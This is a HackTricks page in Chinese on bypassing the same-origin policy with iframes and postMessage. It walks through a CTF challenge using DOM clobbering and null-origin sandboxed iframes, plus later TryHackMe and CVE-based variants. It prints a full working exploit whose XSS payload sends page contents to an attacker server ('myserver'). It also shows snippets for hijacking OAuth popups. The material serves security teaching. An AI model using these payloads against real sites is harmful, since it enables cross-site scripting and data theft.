使用 Iframes 绕过 SOP - 2
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Iframes 在 SOP-2 中
在这个 challenge 的 solution 中,@Strellic_ 提出了一种与上一节类似的方法。我们来看看。
在这个挑战中,攻击者需要绕过以下内容:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
如果他這樣做,他可以發送一個帶有 HTML 內容的 postmessage,該內容會使用 innerHTML 寫入頁面而不經過清理(XSS)。
繞過第一次檢查的方法是讓 window.calc.contentWindow 變為 undefined 並且 e.source 變為 null:
window.calc.contentWindow實際上是document.getElementById("calc")。你可以用<img name=getElementById />覆蓋document.getElementById(注意 Sanitizer API -here- 在其默認狀態下未配置為防護 DOM clobbering 攻擊)。- 因此,你可以用
<img name=getElementById /><div id=calc></div>覆蓋document.getElementById("calc")。然後,window.calc將是undefined。 - 現在,我們需要
e.source是undefined或null(因為使用的是==而不是===,null == undefined為True)。達到這一點很“容易”。如果你創建一個 iframe 並從中 send 一個 postMessage 然後立即 remove 該 iframe,e.origin將會是null。檢查以下代碼
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
要绕过关于 token 的第二次检查,方法是发送值为 null 的 token 并使 window.token 的值为 undefined:
- 在 postMessage 中发送值为
null的token很简单。 window.token是在调用使用document.cookie的getCookie函数时获取的。注意在nullorigin 的页面中访问document.cookie会触发一个 错误。这会使window.token的值为undefined。
由 @terjanq 提出的最终解决方案是 following:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
最近的一个 TryHackMe 任务(“Vulnerable Codes”)演示了当 opener 位于一个仅允许 scripts 和 popups 的 sandboxed iframe 内时,OAuth popups 如何被劫持。该 iframe 会将自身和 popup 强制置为 "null" origin,因此那些检查 if (origin !== window.origin) return 的 handlers 会静默失败——因为 popup 内的 window.origin 也同样是 "null"。尽管浏览器仍然暴露真实的 location.origin,但受害者从未检查它,因此攻击者控制的消息就这样轻易通过。
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Takeaways for abusing that setup:
- 在 popup 中将
origin与window.origin进行比较的处理器可以被绕过,因为两者都会被评估为"null",因此伪造的消息看起来合法。 - 授予
allow-popups但省略allow-same-origin的 sandboxed iframes 仍会产生锁定到攻击者控制的"null"origin 的弹出窗口,即便在 2025 年的 Chromium 构建中,也能为你提供一个稳定的隔离区。
Source-nullification & frame-restriction bypasses
关于 CVE-2024-49038 的行业分析强调了对该页面可复用的两个原语:(1) 通过 window.open 启动那些设置了 X-Frame-Options: DENY 的页面,并在导航稳定后通过 postMessage 发送消息,你仍然可以与它们交互;(2) 你可以通过在发送消息后立即移除 iframe 来暴力破解 event.source == victimFrame 检查,这样接收方在处理器中只会看到 null。
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
将此与上面的 DOM-clobbering 技巧结合使用:一旦接收方只看到 event.source === null,针对 window.calc.contentWindow 或类似对象的任何比较都会失效,从而再次让你通过 innerHTML 注入恶意 HTML sinks。
参考资料
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

